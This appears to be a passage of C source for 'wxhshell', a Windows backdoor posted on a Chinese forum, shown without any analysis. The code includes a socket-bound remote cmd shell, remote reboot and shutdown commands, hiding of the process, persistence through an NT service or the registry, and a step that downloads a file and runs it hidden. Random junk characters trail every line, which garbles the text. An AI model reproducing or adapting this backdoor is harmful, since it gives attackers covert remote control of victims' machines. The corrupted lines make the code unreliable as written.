  // 安装 v/(__xN`B  
  case 'i': { TP^\e_k  
    if(Install()) lmp R>@o"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ZrjK=K  
    else N N*Sb J0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >oB ?  
    break; yEnKUo[  
    } 2}@*Ki7  
  // 卸载 KK .cDAR  
  case 'r': { s9kTuhoK  
    if(Uninstall()) wEv*1y4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl41# 6  
    else a6 * Y%?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {cX7<7N  
    break; B8>FCF&}E  
    } 2nYiG)tg  
  // 显示 wxhshell 所在路径 roL]v\tr  
  case 'p': { s'2y%E#  
    char svExeFile[MAX_PATH]; &U8 54  
    strcpy(svExeFile,"\n\r"); ur`}v|ZY  
      strcat(svExeFile,ExeFile); "SDsISWd  
        send(wsh,svExeFile,strlen(svExeFile),0); AF QnCl Of  
    break; Q!Msy<v  
    } >sB=\  
  // 重启 LsUFz_  
  case 'b': { 739l%u }<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8Q)y%7 {6  
    if(Boot(REBOOT)) ?n73J wH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <vO8_2,V-  
    else { <w%DyRFw3  
    closesocket(wsh); c|3h|  
    ExitThread(0); Dt (:u,%  
    } s2 wwmtUCN  
    break; _{3k+DQ  
    } =+k&&vOAn  
  // 关机 [v~Uy$d\  
  case 'd': { dcM+ylB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VQ/ <09e  
    if(Boot(SHUTDOWN)) *%z<P~}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>`m<&y  
    else { ^glbxbhI4  
    closesocket(wsh); U8Cw7u2  
    ExitThread(0); pC55Ec<  
    } lxr@[VQ  
    break; 1\=pPys)  
    } R20a(4 m  
  // 获取shell 56VE[G  
  case 's': { lu<Np9/5<  
    CmdShell(wsh); o&*1U"6D  
    closesocket(wsh); OME!W w  
    ExitThread(0); #a/n5c&6/  
    break; G >I.  
  } s}z(|I rH  
  // 退出 B6^w{eXN  
  case 'x': { /QM0.{Ypl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Q#t\$RY  
    CloseIt(wsh); !tm|A`<g#<  
    break; ZY~zpC_  
    } _D!M nTK  
  // 离开 (mu{~@Hw  
  case 'q': { {^2({A#&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4UkP:Vz:  
    closesocket(wsh); ?Aj\1y4L1  
    WSACleanup(); ]J GKL5~p  
    exit(1); IiYuUN1D  
    break; e_;%F`  
        } hCSR sk3  
  } W ??;4  
  } 2{ jtQlc  
iA5* _tK5  
  // 提示信息 1gf/#+$\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w}]3jc84  
} n-L]YrDPK[  
  } K gR1El. r  
HCfS)`  
  return; dw=Xjyk?h  
} ?w c3 +?\J  
rPrEEWS0)  
// shell模块句柄 iT)2 ?I6!  
int CmdShell(SOCKET sock) mmh nw (/  
{ Q#d+IIR0gK  
STARTUPINFO si; x`/m>~_  
ZeroMemory(&si,sizeof(si)); z|oA{VxW>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <yX@@8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h$:&1jVY{  
PROCESS_INFORMATION ProcessInfo; }0(vR_x  
char cmdline[]="cmd"; N6-2*ES  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ae,2Xi  
  return 0; ?];~N5<'  
} ORFr7a'K  
!>"INmz  
// 自身启动模式 f@,hO5h(_|  
int StartFromService(void) >TH-Q[  
{ c +"O\j'  
typedef struct {VrAh*#h  
{ Vj9`[1}1Z  
  DWORD ExitStatus; ~7eUt^SD;  
  DWORD PebBaseAddress; )dzjz%B)  
  DWORD AffinityMask; HfZ (U5~  
  DWORD BasePriority; J~nJpUyP*  
  ULONG UniqueProcessId; $! fz~  
  ULONG InheritedFromUniqueProcessId; AVdd?Ew  
}   PROCESS_BASIC_INFORMATION; r5X BcG(2  
c@"i?  
PROCNTQSIP NtQueryInformationProcess; X(0:zb,#G*  
h}c6+@w&-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @$N*lrM2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2={K-s20  
q%)*,I<  
  HANDLE             hProcess; =~(LJPo6  
  PROCESS_BASIC_INFORMATION pbi; yF [@W<  
)BMWC k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l{%Op\  
  if(NULL == hInst ) return 0; $6]x,Ct  
m+G0<E%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  9\W5   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~-o^eI4_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s OrY^cY;  
XEe+&VQmY  
  if (!NtQueryInformationProcess) return 0; k(w9vt0?  
RvgAI`T7$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =*U%j  
  if(!hProcess) return 0; mF$jC:Tb  
d/-0B<ts  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @)!1#^(}%  
#L)4 |  
  CloseHandle(hProcess); 7\|NYT4  
^LQ lfd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gIf+.^/m1  
if(hProcess==NULL) return 0; Qnu&GBM  
c]:J/'vc  
HMODULE hMod; c^q O@%s  
char procName[255]; VN55!l'OV  
unsigned long cbNeeded; rg]A_(3Bb  
II f >z_m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]#Z$jq{,  
Q& unA3  
  CloseHandle(hProcess); >GF(.:7  
=kZwB*7  
if(strstr(procName,"services")) return 1; // 以服务启动 HS|g   
P\G C8KV]  
  return 0; // 注册表启动  q;He:vX  
} i}&mz~  
~{]m8a/ `6  
// 主模块 bI6V &Dd  
int StartWxhshell(LPSTR lpCmdLine) ~wd?-$;070  
{ @"#gO:|[i0  
  SOCKET wsl; Wb-'E%K  
BOOL val=TRUE; '~vSH9nx/  
  int port=0; .ubbNp_LU  
  struct sockaddr_in door; ?28G6T]/?d  
 TVEF+t  
  if(wscfg.ws_autoins) Install(); 2>_LX!kyP]  
n4 6PQm%p  
port=atoi(lpCmdLine); .4m3@!qo)E  
)]e d;V  
if(port<=0) port=wscfg.ws_port; QIxJFr;>  
]t!}D6p  
  WSADATA data; '-1jWw:8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <45dy5!Tz  
2K7:gd8Ru  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aN);P>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]oZ,{Q5~  
  door.sin_family = AF_INET; CSg5i&A=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8"I5v(TV  
  door.sin_port = htons(port); :!it7vZ  
+^% &8<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9#$V1(}?  
closesocket(wsl); o dQ&0d  
return 1; :?of./Df|  
} WaZ@  
w<^2h}5  
  if(listen(wsl,2) == INVALID_SOCKET) { @'| 6lG  
closesocket(wsl); E/Gs',Y  
return 1; n<(5B|~y  
} Kd|l\k!  
  Wxhshell(wsl); ;>x1)|n5  
  WSACleanup(); J hq5G"  
1:l&&/Wy  
return 0; dUVTQ18F  
4!b'%)   
} rgY?X$1q_  
@42lpreT  
// 以NT服务方式启动 Js2_&?}3f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~}9H<K3V  
{ KV&_^xSoh|  
DWORD   status = 0; v lnUN  
  DWORD   specificError = 0xfffffff; $;j6 *,H  
LYo7?rp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oDiv9 jm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lNp:2P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kQiW5  
  serviceStatus.dwWin32ExitCode     = 0; ^=M(K''  
  serviceStatus.dwServiceSpecificExitCode = 0; \(7#N<-  
  serviceStatus.dwCheckPoint       = 0; B qiq  
  serviceStatus.dwWaitHint       = 0; Ta5iY }  
-tdON  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )( jNd&H  
  if (hServiceStatusHandle==0) return; l4.@YYzbp.  
sf&K<C](  
status = GetLastError(); YyBq+6nq5  
  if (status!=NO_ERROR) x?& xz;  
{ i{RS/,h4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q9Opa2  
    serviceStatus.dwCheckPoint       = 0; Fm+)mmJP  
    serviceStatus.dwWaitHint       = 0; 'C4Ll2  
    serviceStatus.dwWin32ExitCode     = status; N`GwL aF  
    serviceStatus.dwServiceSpecificExitCode = specificError; &=t(NI$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s*U&[7P  
    return; 4!RI2?4V  
  } |4*2xDcl  
`pS)q x.a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BGYm]b\j[  
  serviceStatus.dwCheckPoint       = 0; @<{ #v.T  
  serviceStatus.dwWaitHint       = 0; R$,iDv.jI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~G^doj3|+  
} ,]N%(>ot  
e:D9;`C  
// 处理NT服务事件,比如:启动、停止 I }I/dh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e<wj5:M|  
{ +s 0Bt '  
switch(fdwControl) u5|e9(J  
{ "TNUw&ih  
case SERVICE_CONTROL_STOP: ZpBH;{.,  
  serviceStatus.dwWin32ExitCode = 0; !oRm.c O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D`ge3f8Wi  
  serviceStatus.dwCheckPoint   = 0; =ZL}Av}  
  serviceStatus.dwWaitHint     = 0; vF\zZ<R/  
  { Qy,qQA/   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M|]1}8d?  
  } 8$olP:d  
  return; l\y*wr`  
case SERVICE_CONTROL_PAUSE: H ?:#Ui(p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8WQ%rN={8  
  break; SJr:  
case SERVICE_CONTROL_CONTINUE: 90v18k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O lIH0  
  break; cf3c+.o  
case SERVICE_CONTROL_INTERROGATE: 6M|%nBN$|  
  break; c<x6_H6[8  
}; HcUz2Rm5XP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K1WoIv<Ym  
} -k{R<L  
W5uI(rS<6  
// 标准应用程序主函数 lfG's'U-z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hmd:>_[f  
{ +W4g:bB1  
}&hgedx  
// 获取操作系统版本 "x^bl+_"  
OsIsNt=GetOsVer(); UAO#$o(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oU5mrS.7M!  
E cz"O   
  // 从命令行安装 \+A<s,x  
  if(strpbrk(lpCmdLine,"iI")) Install(); JNl+UH:.  
1/BMs0 =  
  // 下载执行文件 nU *fne?  
if(wscfg.ws_downexe) { `3n*4Lz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G* 6<pp  
  WinExec(wscfg.ws_filenam,SW_HIDE); J8Db AB4X  
} 8dB~09Z7  
F}[;ytmUS  
if(!OsIsNt) { 0)44*T  
// 如果时win9x,隐藏进程并且设置为注册表启动 K0@7/*%  
HideProc(); Br!&Y9  
StartWxhshell(lpCmdLine); JOq<lb=  
} Q^Z}Y~.  
else [SvwJIJJ  
  if(StartFromService()) ]}l!L;  
  // 以服务方式启动 .e+UgC wi  
  StartServiceCtrlDispatcher(DispatchTable); M.Ik%nN#K0  
else ;^i,Q} b/  
  // 普通方式启动 RV(z>XM  
  StartWxhshell(lpCmdLine); m~B=C>r}t  
DNe^_v)]|  
return 0; E e&$9 )t  
}
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只看该作者 1 发表于: 2006-10-10
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